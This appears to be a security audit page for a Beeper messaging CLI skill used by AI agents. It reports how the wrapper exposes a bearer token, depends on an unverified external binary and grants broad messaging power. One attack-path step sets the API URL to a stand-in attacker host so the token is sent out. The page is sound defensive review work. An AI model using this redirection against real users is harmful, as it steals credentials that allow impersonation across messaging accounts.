Back to skill

Security audit

Beeper API CLI

Security checks for vulnerabilities and agentic risk

Overview

This skill is a real Beeper messaging wrapper, but it handles a powerful chat token in ways that are under-scoped and risky.

Review this before installing. Use it only if you trust the external Beeper CLI binary and can pin or verify it. Keep BEEPER_TOKEN secret, avoid putting it in logs or shared shell history, prefer localhost-only access, and do not use plaintext HTTP for remote Beeper API access. Treat message sending as account impersonation authority across every Beeper-connected network.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
beeper.sh:11
Finding

Bearer Token Exposure Through an Unvalidated Plaintext API Endpoint

Content
View full analysis
/dev/null 2>&1 } ``` The associated documentation explicitly recommends plaintext HTTP for remote access: ```bash export BEEPER_API_URL="http://192.168.1.100:23373" export BEEPER_TOKEN="your-token-here" ``` ### Technical Analysis The wrapper accepts `BEEPER_API_URL` directly from the process environment and does not validate its scheme, hostname, port, or destination. The `is_beeper_api_ready` function then includes the sensitive `BEEPER_TOKEN` in an HTTP `Authorization` header sent to that endpoint. The loopback default limits exposure in the default configuration. However, the documented remote configuration uses plaintext HTTP, and the implementation permits arbitrary environment-controlled destinations. Consequently: 1. A remote HTTP connection exposes the bearer token to network interception. 2. A manipulated environment can redirect the readiness request to an attacker-controlled server. 3. The wrapper sends the token before executing the requested CLI operation, so even a read-only command triggers credential disclosure. No command injection is required. Control over the environment variable or the network path is sufficient. ### Attack Path 1. An attacker influences the environment in which the wrapper runs, such as through a launcher, shell profile, CI configuration, automation service, or compromised parent process. 2. The attacker sets: ```bash export BEEPER_API_URL="http://attacker-controlled.example:23373" ``` 3. The user invokes any wrapper command. 4. `is_beeper_api_ready` sends: ```http Authorization: Bearer
Remediation
View remediation
&2 exit 1 ;; esac ``` 4. Preserve TLS certificate verification. Do not add `curl -k` or `--insecure`. 5. For remote access, place the API behind a properly authenticated TLS proxy or use a secure tunnel such as SSH or a private VPN rather than transmitting the bearer token over plaintext HTTP. 6. Update `SKILL.md` to remove plaintext remote HTTP examples and explain that remote endpoints must use authenticated encryption. 7. Regenerate any token that may previously have been transmitted over an untrusted network. ]]>

T08 · Insecure Dependencies

Error
Location
beeper.sh:8
Finding

Unverified External CLI Binary Executes With Messaging Credentials

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (7)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
92% confidence
Finding

The skill invokes shell commands extensively but does not declare any explicit tool scope such as permissions or allowed-tools. That creates an authorization gap where an agent may execute shell-based read/send messaging actions without clear platform-level restrictions, increasing the chance of unintended command execution against a sensitive local messaging API.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
70% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SKILL.md (reported line 18)May include surrounding context.

md
**MANDATORY PROTOCOL FOR ALL MESSAGING:**
1. **ALWAYS show the complete message draft first** - display full content
2. **WAIT for explicit verbal approval** - "send it", "looks good", "go ahead", etc.
3. **NEVER assume permission to send** - even if user says "draft a message"
4. **Apply to ALL platforms**: WhatsApp, Telegram, Signal, Instagram, Twitter, Facebook, LinkedIn, etc.
5. **NO EXCEPTIONS EVER** - This applies to new messages, replies, and forwards

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The documentation tells users to copy and export the Beeper bearer token but never warns that it is a sensitive credential that must not be shared, committed, echoed, or logged. Because this token authorizes reading and sending messages across many linked networks, mishandling it could lead to account-wide message access and impersonation.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The SKILL.md states that the wrapper will fail with an error if BEEPER_TOKEN is not set, indicating the user must provide it manually. Later, the same document says the wrapper auto-configures BEEPER_TOKEN and that the token is already configured/stored in Clawdbot config, which directly contradicts the earlier requirement and changes the implied trust and credential-handling model.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The skill provides instructions for enabling remote access to the Beeper Desktop API but omits a clear warning that doing so exposes all connected chat contents and message-sending capability to another machine holding network reachability and the bearer token. In this context, the API controls multiple personal and professional messaging accounts, so remote exposure materially increases the blast radius of token theft, host compromise, or misconfiguration.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The script goes beyond a passive CLI wrapper by launching a local desktop application with open -a, which gives the skill process application-control behavior not strictly required to read/send messages. In an agent context, this reduces user control and can trigger side effects such as starting GUI software, loading stored credentials, and exposing the local messaging API automatically, making misuse easier if the skill is invoked unexpectedly or by another tool.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Low
Category
Not specified by scanner
Confidence
76% confidence
Finding

The skill advertises an 'Auto-Discover API URL' capability, which implies automatic endpoint resolution. Elsewhere, the documentation says the default behavior is localhost only and that remote access requires manual configuration of allowed IPs and BEEPER_API_URL, so the discovery claim overstates or ambiguously describes what the skill can determine automatically.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.